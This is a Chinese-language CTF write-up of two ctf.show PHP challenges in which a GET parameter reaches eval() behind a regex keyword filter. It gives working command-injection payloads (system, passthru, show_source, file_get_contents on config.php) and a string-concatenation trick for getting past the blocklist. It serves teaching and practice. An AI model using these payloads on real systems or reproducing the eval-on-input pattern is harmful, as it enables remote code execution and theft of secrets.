ctf.show-阿呆管理员又回来了

阿呆在埃塞俄比亚终于找了一个网管的工作,闲暇时还能种点菜。

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

可以get传参,且传入的参数需要正则匹配system、exec、highlight,且不区分大小写,eval()可以远程执行命令。
尝试传入参数c=system('ls');
![me5osrar.png](https://ml.fanl.cn/usr/uploads/2025/08/i491yf3skz.png

然后执行 ?c=system("cat config.php");

是一个空白页,查看源代码
me5ouol3.png


阿呆看见对面二黑急冲冲的跑过来,告诉阿呆出大事了,阿呆问什么事,二黑说:这几天天旱,你菜死了!

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

可以get传参,且传入的参数不能正则匹配system、exec、highlight,且不区分大小写,eval()可以远程执行命令。
尝试传入参数c=passthru('tac con*');
me5p8oo3.png

还可以:
c=show_source('config.php');
c=echo file_get_contents('config.php');

注意:show_souce()、file_get_contents(),需要传入文件全名称,不可用通配符来匹配了。

show_souce()会将文件以html输出到浏览器;file_get_contents()读取文件内容,并以字符串返回,所以需要echo来显示出来。
尝试传入c=$a='sys';$b='tem';$d=$a.$b;$d('tac con');,即传入的参数在进行正则匹配验证时,可以通过,且这多条php语句在eval()中可以顺次执行,最终拼装成了system('tac con');。

评论区
头像